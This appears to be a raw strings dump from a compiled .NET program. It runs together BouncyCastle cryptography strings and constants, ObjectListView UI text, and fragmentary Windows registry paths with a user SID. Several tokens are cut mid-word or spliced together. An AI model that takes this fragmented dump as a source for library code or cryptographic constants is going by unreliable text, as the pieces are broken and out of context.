100997906755055304772081815535925224869841082572053457874823515875577147990529272777244152852699298796483356699682842027972896052747173175480590485607134746852141928680912561502802222185647539190902656116367847270145019066794290930185446216399730872221732889830323194097355403213400972588322876850946740663962 139454871199115825601409655107690713107041707059928031797758001454375765357722984094124368522288239833039114681648076688236921220737322672160740747771700911134550432053804647694904686120113087816240740184800477047157336662926249423571248823968542221753660143391485680840520336859458494803187341288580489525163 79885141663410976897627118935756323747307951916507639758300472692338873533959 42941826148615804143873447737955502392672345968607143066798112994089471231420027060385216699563848719957657284814898909770759462613437669456364882730370838934791080835932647976778601915343474400961034231316672578686920482194932878633360203384797092684342247621055760235016132614780652761028509445403338652341 142011741597563481196368286022318089743276138395243738762872573441927459393512718973631166078467600360848946623567625795282774719212241929071046134208380636394084512691828894000571524625445295769349356752728956831541775441763139384457191755096847107846595662547942312293338483924514339614727760681880609734239 91771529896554605945588149018382750217296858393520724172743325725474374979801 133531813272720673433859519948319001217942375967847486899482359599369642528734712461590403327731821410328012529253871914788598993103310567744136196364803064721377826656898686468463277710150809401182608770201615324990468332931294920912776241137878030224355746606283971659376426832674269780880061631528163475887 GostR3410-94-CryptoPro-A GostR3410-94-CryptoPro-B GostR3410-94-CryptoPro-XchA publicKeyParamSet digestParamSet 0.4.0.127.0.7 .2.2.1 .2.2.3 .2.2.2 Unknown object in 'CertificateValues' factory: certificates Must contain only 'X509CertificateStructure' objects Unknown object in 'CommitmentTypeIndication' factory: commitmentTypeId commitmentTypeIdentifier Unknown object in 'CommitmentTypeQualifier' factory: Unknown object in 'CompleteCertificateRefs' factory: otherCertIDs Must contain only 'OtherCertID' objects Unknown object in 'CompleteRevocationRefs' factory: crlOcspRefs Must contain only 'CrlOcspRef' objects Unknown object in 'CrlIdentifier' factory: crlIssuer Unknown object in 'CrlListID' factory: crls Must contain only 'CrlValidatedID' objects Unknown object in 'CrlOcspRef' factory: Illegal tag in CrlOcspRef Unknown object in 'CrlValidatedID' factory: crlHash 1.2.840.113549.1.9.16.2.48 Unknown object in 'OcspIdentifier' factory: Unknown object in 'OcspListID' factory: ocspResponses Must contain only 'OcspResponsesID' objects Unknown object in 'OcspResponsesID' factory: ocspIdentifier Unknown object in 'OtherCertID' factory: otherCertHash sha1Hash otherHash Unknown object in 'OtherHashAlgAndValue' factory: hashAlgorithm hashValue Unknown object in 'OtherRevRefs' factory: otherRevRefType otherRevRefs Unknown object in 'OtherRevVals' factory: otherRevValType otherRevVals Unknown object in 'OtherSigningCertificate' factory: certs Must contain only 'PolicyInformation' objects policies Illegal tag in RevocationValues Must contain only 'CertificateList' objects crlVals Must contain only 'BasicOcspResponse' objects ocspVals Unknown object in 'SignaturePolicyId' factory: sigPolicyIdentifier sigPolicyHash Must contain only 'SigPolicyQualifierInfo' objects sigPolicyQualifiers Unknown object in 'SignaturePolicyIdentifier' factory: signaturePolicyId Unknown object in 'SignerAttribute' factory: illegal tag. postal address must contain less than 6 strings illegal tag Unknown object in 'SigPolicyQualifierInfo' factory: unknown object in 'ContentHints' factory : unknown object in 'ContentIdentifier' factory : unknown object in 'EssCertID' factory : unknown object in 'OtherCertID' factory : unknown object in 'OtherSigningCertificate' factory : unknown object in 'SigningCertificate' factory : unknown object in 'SigningCertificateV2' factory : 1.3.6.1.4.1.11591.1 1.3.6.1.4.1.11591.2 1.3.6.1.4.1.11591.2.1 1.3.6.1.4.1.11591.2.1.1 1.3.6.1.4.1.11591.3 1.3.6.1.4.1.11591.12 1.3.6.1.4.1.11591.12.2 1.3.6.1.4.1.11591.13 1.3.6.1.4.1.11591.13.2 1.3.6.1.4.1.11591.13.2.1 1.3.6.1.4.1.11591.13.2.2 1.3.6.1.4.1.11591.13.2.3 1.3.6.1.4.1.11591.13.2.4 1.3.6.1.4.1.11591.13.2.21 1.3.6.1.4.1.11591.13.2.22 1.3.6.1.4.1.11591.13.2.23 1.3.6.1.4.1.11591.13.2.24 1.3.6.1.4.1.11591.13.2.41 1.3.6.1.4.1.11591.13.2.42 1.3.6.1.4.1.11591.13.2.43 1.3.6.1.4.1.11591.13.2.44 1.3.6.1.4.1.11591.14 1.3.6.1.4.1.11591.14.1 1.3.6.1.5.5.8.1 null or empty sequence passed. Incorrect sequence size: 2.23.136 wrong size in DataGroupHashValues : not in (2.. sequence wrong size for LDSVersionInfo certificateHash choice item must be explicitly tagged can't decode certificate: Bad tag number: Bad object encountered: country can only be 2 characters 1.3.36.8 0.2.262.1.10.12.0 1.2.410.200004.1.4 1.2.410.200004.7.1.1.1 1.3.6.1.4.1.311 20.2 21.1 21.2 21.4 21.7 21.10 unknown object in Cast5CbcParameters factory unknown object in IDEACBCPar factory 2.16.840.1.113730.1 2.16.840.1.113733.1 6.11 6.13 6.15 2.16.840.1.113719 .1.9.4.1 1.2.840.113533.7 .65.0 1.3.6.1.4.1.188.7.1.1.2 1.3.6.1.4.1.3029 1.3.6.1.4.1.1722.12.2 1.12 1.16 NetscapeCertType: 0x string contains illegal characters NetscapeRevocationUrl: VerisignCzagExtension: unknown object in 'PublicKeyAndChallenge' factory : B-163 B-233 B-283 B-409 B-571 K-163 K-233 K-283 K-409 K-571 P-192 P-224 P-256 P-384 P-521 2.16.840.1.101.3.4 1.2.392.200011.61.1.1.1.2 1.2.392.200011.61.1.1.1.3 1.2.392.200011.61.1.1.1.4 1.2.392.200011.61.1.1.3.2 1.2.392.200011.61.1.1.3.3 1.2.392.200011.61.1.1.3.4 1.3.6.1.5.5.7.48.1 1.3.6.1.5.5.7.48.1.1 tbsRequest responseStatus ENUMERATED has zero length reqCert responseType revocationTime issuer signatureAlgorithm signatureValue 1.3.14.3.2.2 1.3.14.3.2.3 1.3.14.3.2.4 1.3.14.3.2.6 1.3.14.3.2.7 1.3.14.3.2.8 1.3.14.3.2.9 1.3.14.3.2.17 1.3.14.3.2.26 1.3.14.3.2.27 1.3.14.3.2.29 1.3.14.7.2.1.1 Not all mandatory fields set in CertificationRequestInfo generator. sequence not version 0 wrong version for PFX PDU 1.2.840.113549.1.1.1 1.2.840.113549.1.1.2 1.2.840.113549.1.1.3 1.2.840.113549.1.1.4 1.2.840.113549.1.1.5 1.2.840.113549.1.1.6 1.2.840.113549.1.1.7 1.2.840.113549.1.1.8 1.2.840.113549.1.1.9 1.2.840.113549.1.1.10 1.2.840.113549.1.1.11 1.2.840.113549.1.1.12 1.2.840.113549.1.1.13 1.2.840.113549.1.1.14 1.2.840.113549.1.3.1 1.2.840.113549.1.5.1 1.2.840.113549.1.5.4 1.2.840.113549.1.5.3 1.2.840.113549.1.5.6 1.2.840.113549.1.5.10 1.2.840.113549.1.5.11 1.2.840.113549.1.5.13 1.2.840.113549.1.5.12 1.2.840.113549.3.7 1.2.840.113549.3.2 1.2.840.113549.2.2 1.2.840.113549.2.4 1.2.840.113549.2.5 1.2.840.113549.2.7 1.2.840.113549.2.8 1.2.840.113549.2.9 1.2.840.113549.2.10 1.2.840.113549.2.11 1.2.840.113549.1.7.1 1.2.840.113549.1.7.2 1.2.840.113549.1.7.3 1.2.840.113549.1.7.4 1.2.840.113549.1.7.5 1.2.840.113549.1.7.6 1.2.840.113549.1.9.1 1.2.840.113549.1.9.2 1.2.840.113549.1.9.3 1.2.840.113549.1.9.4 1.2.840.113549.1.9.5 1.2.840.113549.1.9.6 1.2.840.113549.1.9.7 1.2.840.113549.1.9.8 1.2.840.113549.1.9.9 1.2.840.113549.1.9.13 1.2.840.113549.1.9.14 1.2.840.113549.1.9.15 1.2.840.113549.1.9.16 1.2.840.113549.1.9.20 1.2.840.113549.1.9.21 1.2.840.113549.1.9.22.1 1.2.840.113549.1.9.22.2 1.2.840.113549.1.9.23.1 1.2.840.113549.1.9.16.1.2 1.2.840.113549.1.9.16.1.4 1.2.840.113549.1.9.16.1.9 1.2.840.113549.1.9.16.1.23 1.2.840.113549.1.9.16.1.31 1.2.840.113549.1.9.16.6.1 1.2.840.113549.1.9.16.6.2 1.2.840.113549.1.9.16.6.3 1.2.840.113549.1.9.16.6.4 1.2.840.113549.1.9.16.6.5 1.2.840.113549.1.9.16.6.6 1.2.840.113549.1.9.16.2.4 1.2.840.113549.1.9.16.2.5 1.2.840.113549.1.9.16.2.10 1.2.840.113549.1.9.16.2.11 1.2.840.113549.1.9.16.2.12 1.2.840.113549.1.9.16.2.47 1.2.840.113549.1.9.16.2.7 1.2.840.113549.1.9.16.2.14 1.2.840.113549.1.9.16.2.15 1.2.840.113549.1.9.16.2.16 1.2.840.113549.1.9.16.2.17 1.2.840.113549.1.9.16.2.18 1.2.840.113549.1.9.16.2.19 1.2.840.113549.1.9.16.2.20 1.2.840.113549.1.9.16.2.21 1.2.840.113549.1.9.16.2.22 1.2.840.113549.1.9.16.2.23 1.2.840.113549.1.9.16.2.24 1.2.840.113549.1.9.16.2.25 1.2.840.113549.1.9.16.2.26 1.2.840.113549.1.9.16.2.27 1.2.840.113549.1.9.16.5.1 1.2.840.113549.1.9.16.5.2 1.2.840.113549.1.12.10.1.1 1.2.840.113549.1.12.10.1.2 1.2.840.113549.1.12.10.1.3 1.2.840.113549.1.12.10.1.4 1.2.840.113549.1.12.10.1.5 1.2.840.113549.1.12.10.1.6 1.2.840.113549.1.12.1.1 1.2.840.113549.1.12.1.2 1.2.840.113549.1.12.1.3 1.2.840.113549.1.12.1.4 1.2.840.113549.1.12.1.5 1.2.840.113549.1.12.1.6 wrong version for private key info: unable to parse private key wrong version for RSA private key must be >= key bitlength orderBitLength secp112r1 secp112r2 secp128r1 secp128r2 secp160k1 secp160r1 secp160r2 secp192k1 secp192r1 secp224k1 secp224r1 secp256k1 secp256r1 secp384r1 secp521r1 sect113r1 sect113r2 sect131r1 sect131r2 sect163k1 sect163r1 sect163r2 sect193r1 sect193r2 sect233k1 sect233r1 sect239k1 sect283k1 sect283r1 sect409k1 sect409r1 sect571k1 sect571r1 DB7C2ABF62E35E668076BEAD208B DB7C2ABF62E35E668076BEAD2088 659EF8BA043916EEDE8911702B22 00F50B028E4D696E676875615175290472783FB1 DB7C2ABF62E35E7628DFAC6561C5 0409487239995A5EE76B55F9C2F098A89CE5AF8724C0A23E0E0FF77500 6127C24C05F38A0AAAF65C0EF02C 51DEF1815DB5ED74FCC34C85D709 002757A1114D696E6768756151755316C05E0BD4 36DF0AAFD8B8D7597CA10520D04B 044BA30AB5E892B4E1649DD0928643ADCD46F5882E3747DEF36E956E97 FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC E87579C11079F43DD824993C2CEE5ED3 000E0D4D696E6768756151750CC03A4473D03679 FFFFFFFE0000000075A30D1B9038A115 04161FF7528B899B2D0C28607CA52C5B86CF5AC8395BAFEB13C02DA292DDED7A83 D6031998D1B3BBFEBF59CC9BBFF9AEE1 5EEEFCA380D02919DC2C6558BB6D8A5D 004D696E67687561517512D8F03431FCE63B88F4 3FFFFFFF7FFFFFFFBE0024720613B5A3 047B6AA5D85E572983E6FB32A7CDEBC14027B6916A894D3AEE7106FE805FC34B44 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73 0100000000000000000001B8FA16DFAB9ACA16B6B3 9ba48cba5ebcb9b6bd33b92830b2a2e0e192f10a c39c6c3b3a36d7701b9c71a1f5804ae5d0003f4 9162fbe73984472a0a9ADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F3 7830A3318B603B89E2327145AC234CC594CBDD8D3DF91610A83441CAEA9863BC2DED5D5AA8253AA10A2EF1C98B9AC8B57F1117A72BF2C7B9E7C1AC4D77FC94CA 3DF91610A83441CAEA9863BC2DED5D5AA8253AA10A2EF1C98B9AC8B57F1117A72BF2C7B9E7C1AC4D77FC94CADC083E67984050B75EBAE5DD2809BD638016F723 0481AEE4BDD82ED9645A21322E9C4C6A9385ED9F70B5D916C1B43B62EEF4D0098EFF3B1F78E2D0D48D50D1687B93B97D5F7C6D5047406A5E688B352209BCB9F8227DDE385D566332ECC0EABFA9CF7822FDF209F70024A57B1AA000C55B881F8111B2DCDE494A5F485E5BCA4BD88A2763AED1CA2B2FA8F0540678CD1E0F3AD80892 AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F0 7CBBBCF9441CFAB76E1890E46884EAE321F70C0BCB4981527897504BEC3E36A62BCDFA2304976540F6450085F2DAE145C22553B465763689180EA2571867423E 04640ECE5C12788717B9C1BA06CBC2A6FEBA85842458C56DDE9DB1758D39C0313D82BA51735CDB3EA499AA77A7D6943A64F7A3F25FE26F06B51BAA2696FA9035DA5B534BD595F5AF0FA2C892376C84ACE1BB4E3019B71634C01131159CAE03CEE9D9932184BEEF216BD71DF2DADF86A627306ECFF96DBB8BACE198B61E00F8B332 1.3.36.3 .3.1 .3.2 .3.2.8 Invalid millis field : not in (1..999) Invalid micros field : not in (1..999) Invalid millis field : not in (1..999). Invalid micros field : not in (1..999). Invalig tag number Unknown object in 'Accuracy' factory: Unknown object in 'MessageImprint' factory: Unknown object in 'TimeStampReq' factory: Unknown object in 'TimeStampResp' factory: Bad object format in 'TstInfo' factory. Unknown object in 'TstInfo' factory: Unknown tag value BER Sequence DER Sequence Sequence NULL BER Tagged [ Tagged [ IMPLICIT EMPTY BER Set DER Set ObjectIdentifier( Boolean( Integer( BER Octet String[ DER Octet String[ DER Bit String[ IA5String( UTF8String( PrintableString( VisibleString( BMPString( T61String( GraphicString( VideotexString( UTCTime( GeneralizedTime( DER Enumerated( External Direct Reference: Indirect Reference: Encoding: in input vector yyyyMMddHHmmss\Z GMT+00:00 yyyyMMddHHmmss. 'GMT'zzz yyyyMMddHHmmss'GMT'zzz AssumeUniversal encoding error in GetInstance: yyMMddHHmmss yyMMddHHmmss'GMT'zzz 00GMT+00:00 00GMT malformed end-of-contents marker cannot be 0 feature unexpected end of file in armored stream. -----BEGIN PGP SIGNED MESSAGE----- no crc found in armored message. crc check failed in armored message. crc check not found. Version SHA1 SHA256 SHA384 SHA512 RIPEMD160 unknown hash algorithm tag in beginClearText: Hash: PUBLIC KEY BLOCK PRIVATE KEY BLOCK SIGNATURE MESSAGE -----BEGIN PGP ----- -----END PGP BCPG C# v buffer invalid header encountered unknown length type encountered unknown packet type encountered: Premature end of stream in PartialInputStream outStr Buffer cannot be greater than 2^30 in length. future extensions not yet implemented. kdf parameters size of 3 expected. Hash algorithm must be SHA-256 or stronger. Symmetric key algorithm must be AES-128 or stronger. bcpgIn digest Values must be positive bcpgOut unknown PGP public key algorithm encountered p and q cannot be equal unsupported version: unknown signature key algorithm: internal error: unknown version: unexpected length header unexpected EOF reading signature sub packet Signature Creation Time Issuer Signature Key Expiration Time Signature Expiration Time truncated subpacket data. truncated subpacket data. unrecognised length reading user attribute sub packet unexpected EOF reading user attribute sub packet Expected private key senderPrivateKey Expected public key senderPublicKey couldn't create cipher. key invalid in message. exception decoding algorithm parameters. key inappropriate for algorithm. error making encrypted content. can't find key generation algorithm. IOException reading content. Unexpected object reading content. AuthEnveloped data decryption not yet implemented exception reading compressed stream. exception encoding data. IOException reading compressed content. 1.2.840.113549.1.9.16.3.8 DESEDE RSA/ECB/PKCS1Padding no name for RFC3211Wrap no keysize for error decoding algorithm parameters. error reading content. Unsupported key derivation algorithm: PKCS5S2 CmsProcessableInputStream can only be used once Currently can't replace attribute certificates error getting certificates from store error getting CRLs from store error processing attribute certs encoding error. key inappropriate for signature. error creating signature. error creating sid. encapsulation error. with io exception: problem parsing cert/crl sets Collection outStream Expected writeable stream dataOutputStream Cannot register new digest OIDs after the data stream is opened Cannot configure new digests after the data stream is opened NONEwithDSA algorithm: not supported in base signatures. SHA-1 SHA-224 SHA-256 SHA-384 SHA-512 SHA224 SHA3-224 SHA3-256 SHA3-384 SHA3-512 SHAKE-128 SHAKE-256 GOST3411 RIPEMD128 RIPEMD256 ECDSA RSAandMGF1 GOST3410 ECGOST3410 1.3.6.1.4.1.5849.1.6.2 1.3.6.1.4.1.5849.1.1.5 1.3.6.1.4.1.5849.1.2.1 can't re-encode attribute certificate! AttributeCertificate/ can't setup the X509Store Certificate/ CRL/ can't re-encode certificate! can't re-encode CRL! Expected RSA private key can't mix DSA with anything but SHA1/SHA2 can't mix ECDSA with anything but SHA family digests Unknown algorithm in CmsSignedGenerator.GetEncOid Malformed content. error encoding certs error processing certs error encoding crls error processing crls illegal keysize in AES SEED CAMELLIA illegal keysize in Camellia unknown algorithm error getting . unable to parse internal stream: cannot extract originator public key: cannot extract MQV ephemeral public key: cannot determine MQV ephemeral key pair parameters from public key: can't extract TBS structure from certificate invalid rid in KeyAgreeRecipientInformation No support for 'originator' as IssuerAndSerialNumber or SubjectKeyIdentifier originator key invalid. KeyAgreement requires asymmetric key can't extract key algorithm from this key invalid rid in KeyTrans 4118E98D119529A45D6F834566E3025E316A330EFBB77A86F0C1AB15B051AE3D428C8F8ACB70A8137150B8EEB10E183EDD19963DDD9E263E4770589EF6AA21E7F5F2FF381B539CCE3409D13CD566AFBB48D6C019181E1BCFE94B30269EDFE72FE9B6AA4BD7B5A0F1C71CFFF4C19C418E1F6EC017981BC087F2A7065B384B890D3191F2BFA 801C0D34C58D93FE997177101F80535A4738CEBCBF389A99B36371EB 87A8E61DB4B6663CFFBBD19C651959998CEEF608660DD0F25D2CEED4435E3B00E00DF8F1D61957D4FAF7DF4561B2AA3016C3D91134096FAA3BF4296D830E9A7C209E0C6497517ABD5A8A9D306BCF67ED91F9E6725B4758C022E0B1EF4275BF7B6C5BFC11D45F9088B941F54EB1E59BB8BC39A0BF12307F5C4FDB70C581B23F76B63ACAE1CAA6B7902D52526735488A0EF13C6D9A51BFA4AB3AD8347796524D8EF6A167B5A41825D967E144E5140564251CCACB83E6B486F6B3CA3F7971506026C0B857F689962856DED4010ABD0BE621C3A3960A54E710C375F26375D7014103A4B54330C198AF126116D2276E11715F693877FAD7EF09CADB094AE91E1A1597 3FB32C9B73134D0B2E77506660EDBD484CA7B18F21EF205407F4793A1A0BA12510DBC15077BE463FFF4FED4AAC0BB555BE3A6C1B0C6B47B1BC3773BF7E8C6F62901228F8C28CBB18A55AE31341000A650196F931C77A57F2DDF463E5E9EC144B777DE62AAAB8A8628AC376D282D6ED3864E67982428EBC831D14348F6F2F9193B5045AF2767164E1DFC967C1FB3F2E55A4BD1BFFE83B9C80D052B985D182EA0ADB2A3B7313D3FE14C8484B1E052588B9B7D2BBD2DF016199ECD06E1557CD0915B3353BBB64E0EC377FD028370DF92B52C7891428CDC67EB6184B523D1DB246C32F63078490F00EF8D647D148D47954515E2327CFEF98C582664B4C0F6CC41659 8CF83642A709A097B447997640129DA299B1A47D1EB3750BA308B0FE64F5FBD3 Infinity is not a valid agreement value for ECDH Infinity is not a valid agreement value for ECDHC algorithm Infinity is not a valid agreement value for MQV Gost3411 Keccak- must be one of 128, 224, 256, 288, 384, or 512. bitLength rate + capacity != 1600 invalid rate value attempt to absorb with odd length queue. attempt to absorb while squeezing. outputLength not a multiple of 8 baseDigest RIPEMD320 not supported for SHA-3 SHA3- must be in the range [0,7] partialBits cannot be >= 512 needs to be a multiple of 8 cannot be 384 use SHA384 instead SHA-512/ digestLength inappropriate in other not supported for SHAKE /HMAC cipher must be instance of DesEngine ISO9797Alg3 parameters must be an instance of KeyParameter or ParametersWithIV Key must be either 112 or 168 bit long Poly1305 requires a 128 bit block cipher. Poly1305 requires an IV when used with a block cipher. Poly1305 requires a key. Poly1305 requires a 128 bit IV. Poly1305- Poly1305 Output buffer is too short. SipHash- must be an instance of KeyParameter must be a 128-bit key Skein-MAC- Invalid parameter passed to Skein MAC init - Skein MAC requires a key parameter. VMPC-MAC VMPC-MAC Init parameters must include an IV VMPC-MAC Init parameters must include a key VMPC-MAC requires 1 to 768 bytes of IV initialisation vector must be the same length as block size cannot change encrypting state without providing key. /CBC cipher required with a block size of invalid parameters passed to CCM nonce must have length from 7 to 13 octets /CCM CCM cipher unitialized. CCM packet too large for choice of q. Output buffer too short. mac check in CCM failed cipher input data not block size aligned output buffer too short for DoFinal() CtsBlockCipher can only accept ECB, or CBC ciphers Can't have a negative input outLength! output buffer too small in doFinal need at least one block of input for CTS /EAX invalid parameters passed to EAX AAD data cannot be added after encryption/decryption processing has begun. mac check in EAX failed Output buffer is too short /GCM Invalid value for MAC size: invalid parameters passed to GCM IV must be at least 1 byte Key must be specified in initial init mac check in GCM failed GCTR only for 64 bit block ciphers /GCTR hashCipher must have a block size of mainCipher 'hashCipher' and 'mainCipher' must be the same algorithm /OCB invalid parameters passed to OCB IV must be no more than 15 bytes mac check in OCB failed /OFB /OpenPGPCFB CTR/SIC mode requires ParametersWithIV CTR/SIC mode requires IV no greater than: bytes. CTR/SIC mode requires IV of at least: /SIC MD2WITHRSAENCRYPTION MD2WITHRSA MD5WITHRSAENCRYPTION MD5WITHRSA SHA1WITHRSAENCRYk cipher and key size Not enough entropy for security strength required Insufficient entropy provided by entropy source Number of bits per request limited to output TDEA 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F SHA-512/224 SHA-512/256 Start offset cannot be negative start Byte array too small for requested offset and length generator Window size must be at least 2 windowSize PRNG Unrecognised PRNG algorithm: maxValue cannot be negative maxValue cannot be less than minValue Insufficient entropy returned Signing Requires Private Key. Verification Requires Public Key. DSADigestSigner not initialised for signature generation. DSADigestSigner not initialised for verification DSA private key required for signing DSA public key required for verification EC private key required for signing EC public key required for verification ECNR not initialised for signing input too large for ECNR key. not initialised for verifying Generic( Signing requires private key. Verification requires public key. GenericSigner not initialised for signature generation. GenericSigner not initialised for verification GOST3410DigestSigner not initialised for signature generation. error decoding signature bytes. GOST3410 private key required for signing GOST3410 public key required for signing Operation not supported no valid trailer withISO9796-2S2 ParametersWithSalt only valid for signing Fixed salt is of wrong length unrecognised hash in signature signer initialised with wrong digest for trailer UpdateWithRecoveredMessage called on different signature withISO9796-2S1 malformed signature malformed block updateWithRecoveredMessage called on different signature key too small for specified hash and salt lengths withRSA RsaDigestSigner not initialised for signature generation. RsaDigestSigner not initialised for verification /X9.31 must have length less than 2^16 (or be null) context_value error in calculation of seed for export unsupported key exchange algorithm supported_signature_algorithms not allowed for TlsSign not valid for AEAD ciphers. Bad padding specified for AEAD cipher. not recognised or not a block cipher SHA512/224 SHA512/256 RIPEMD-128 RIPEMD-160 RIPEMD-256 RIPEMD-320 SHAKE128 SHAKE256 Digest Unsupported algorithm specified Specified size too small BouncyCastle-{0} 2.16.840.1.101.3.4.2 2.16.840.1.101.3.4.22 2.16.840.1.101.3.4.42 CAMELLIA128 CAMELLIA192 CAMELLIA256 DESEDEWRAP HC128 HC256 NOEKEON RIJNDAEL SALSA20 SERPENT THREEFISH-256 THREEFISH-512 THREEFISH-1024 TNEPRES TWOFISH TIGER ECGOST-3410 GOST-3410-2001 ELGAMAL GOST-3410 GOST-3410-94 HMACMD2 HMACMD4 HMACMD5 HMACRIPEMD128 HMACRIPEMD160 HMACSHA1 HMACTIGER HMACSHA224 HMACSHA512/224 HMACSHA256 HMACSHA512/256 HMACSHA384 HMACSHA512 HMAC HMAC- HMAC/ KeyGenerator ) not supported. KeyPairGenerator HMAC-MD5 HMAC-RIPEMD160 HMAC-SHA1 HMAC-TIGER HMAC-SHA224 HMAC-SHA256 HMAC-SHA384 HMAC-SHA512 DESMAC DES/CFB8 DESMAC/CFB8 DES64 DESMAC64 DESEDEMAC DESEDE/CFB8 DESEDEMAC/CFB8 DESISO9797MAC DESWITHISO9797 DESEDE64 DESEDEMAC64 DESEDE64WITHISO7816-4PADDING DESEDEMAC64WITHISO7816-4PADDING DESEDEISO9797ALG1MACWITHISO7816-4PADDING DESEDEISO9797ALG1WITHISO7816-4PADDING ISO9797ALG3 ISO9797ALG3MAC ISO9797ALG3MACWITHISO7816-4PADDING ISO9797ALG3WITHISO7816-4PADDING SKIPJACKMAC SKIPJACK/CFB8 SKIPJACKMAC/CFB8 IDEAMAC IDEA/CFB8 IDEAMAC/CFB8 RC2MAC RC2/CFB8 RC2MAC/CFB8 RC5MAC RC5/CFB8 RC5MAC/CFB8 GOST28147MAC VMPCMAC SIPHASH SIPHASH-2-4 PBEWITHHMACSHA PBEWITHHMACSHA1 PBEWITH AESCMAC DESEDECMAC Mac Algorithm Could not process ASN.1 parameters PKCS5SCHEME1 Pkcs5scheme1 PKCS5SCHEME2 Pkcs5scheme2 PBEWITHMD2ANDDES-CBC PBEwithMD2andDES-CBC PBEWITHMD2ANDRC2-CBC PBEwithMD2andRC2-CBC PBEWITHMD5ANDDES-CBC PBEwithMD5andDES-CBC PBEWITHMD5ANDRC2-CBC PBEwithMD5andRC2-CBC PBEwithSHA-1andDES-CBC PBEWITHSHA-1ANDDES PBEWITHSHA-1ANDDES-CBC PBEwithSHA-1andRC2-CBC PBEWITHSHA-1ANDRC2 PBEWITHSHA-1ANDRC2-CBC PKCS12 Pkcs12 PBEwithSHA-1and128bitAES-CBC-BC PBEwithSHA-1and192bitAES-CBC-BC PBEwithSHA-1and256bitAES-CBC-BC PBEwithSHA-256and128bitAES-CBC-BC PBEwithSHA-256and192bitAES-CBC-BC PBEwithSHA-256an wn signature type requested: not present Not a BZIP2 marked stream 1.2.643.2.2 1.3.6.1.5.5.7.48.1 1.2.840.113549.1.1 1.2.840.113549.1.3 1.2.840.113549.1.5 1.2.840.113549.3 1.2.840.113549.2 1.2.840.113549.1.7 1.2.840.113549.1.9 1.2.840.113549.1.9.22 1.2.840.113549.1.9.23 1.2.840.113549.1.9.16.1 1.2.840.113549.1.9.16.6 1.2.840.113549.1.9.16.2 1.2.840.113549.1.9.16.5 1.2.840.113549.1.12 1.2.840.113549.1.12.10.1 1.2.840.113549.1.12.1 1.3.6.1.5.5.7.3 1.3.6.1.5.5.7.2 2.5.4 1.2.840.10045 1.2.840.10045.4 1.2.840.10045.2 1.3.6.1.4.1.188.7.1.1.2 1.2.840.113533.7.66.10 1.2.840.113549.1.9.16.3.8 EEAF0AB9ADB38DD69C33F80AFA8FC5E86072618775FF3C0B9EA2314C9C256576D674DF7496EA81D3383B4813D692C6E0E0D5D8E250B98BE48E495C1D6089DAD15DC7D7B46154D6B6CE8EF4AD69B15D4982559B297BCF1885C529F566660E57EC68EDBC3C05726CC02FD4CBF4976EAA9AFD513E74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF Org.BouncyCastle.Pkcs1.Strict client finished server finished master secret key expansion client EAP encryption ttls keying material ttls challenge EXTRACTOR-dtls_srtp 0000000000000000000000000000000000000000000000000000000000000000 1.3.14.3.2.26 _CONSOLE -----BEGIN -----END Pkcs5S1 Pkcs5S2 Pkcs12 OpenSsl 1.0.7 ISTR E\SOFTWA OW6432Node\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24} Z4918771001 71901059 S-1-5-21-3914889805-40719010 4071901059-918772286-104918771001 S-1-5-21-3914889805-4071901059-918772286-1001 #D9O \REGISTRY\MACHINE\SOFTWARE\Classes\W #D9K \REGISTRY\MACHINE\SOFTWARE\Classes\WOW }\El atio 4918771001 S-1-5-21-3914889805-4071901059-918772286-1001 Z4918771001 4918771001 4889805-4071901059-91874918771001 S-1-5-21-3914889805-4071901059-918772286-1001 #D9U \REG #D9S \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{7C857801-7381-11 ~P ( jjjj ClearFiltering ColumnFilterIndicator Filtering SortAscending SortDescending )G-l. #"$"%"&"DCHG Sort ascending by '{0}' Sort descending by '{0}' Group by '{0}' Lock grouping on '{0}' Unlock grouping from '{0}' Turn off groups Unsort Columns Select Columns... {null} Tahoma {0} [{1} items] {0} [{1} item] explorer Invalid group format: Default drawing is impossible in this situation sort-indicator-up sort-indicator-down checkbox-unchecked checkbox-checked checkbox-indeterminate TextAlign Value virtualListSize TREEVIEW Explorer::TreeView Version:1.0 StartHTML:{0,8} EndHTML:{1,8} StartFragment:{2,8} EndFragment:{3,8} StartSelection:{2,8} EndSelection:{3,8} SourceURL:{4} http://www.codeproject.com/Articles/16009/A-Much-Easier-to-Use-ListView {0} [null] [empty] {0} ({1} item) {0} ({1} items) MMMM yyyy Bad format string '{0}' for value '{1}' enumType Type must be enum Type must have [Flags] attribute flags flagLabels values and labels must have the same number of entries HitTestLocation: {0}, HitTestLocationEx: {1}, Item: {2}, SubItem: {3}, Location: {4}, Group: {5}, ColumnIndex: {6} values descriptions descriptions must have one more element than values. [other] descriptions must have the same number of elements as values. BrightIdeasSoftware.Properties.Resources ClearFiltering ColumnFilterIndicator Filtering SortAscending SortDescending False True This list doesn't accept drops from other lists NewHotCellHitLocation: {0}, HotCellHitLocationEx: {1}, NewHotColumnIndex: {2}, NewHotRowIndex: {3}, HotGroup: {4} group strip listView column Apply Clear All Filters Select All buttonMoveUp Move &Up buttonMoveDown Move &Down buttonShow &Show buttonHide &Hide label1 Choose the columns you want to see in this list. buttonOK buttonCancel &Cancel objectListView1 Text Column ColumnSelectionForm Column Selection (\p{Ll})(\p{Lu}) $1 $2 GlassPanelForm Default group header HEADER '{0}' is not a parameter-less method, property or field of type '{1}' Item Munger failed System.Windows.Forms.Design.ListViewDesigner, System.Design System.Windows.Forms.Design.ListViewDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Could not load ListViewDesigner GetHitTest WndProc dockingAction BackgroundImage BackgroundImageTiled HotTracking HoverSelection LabelEdit VirtualListSize VirtualMode ToolTip GroupImageList 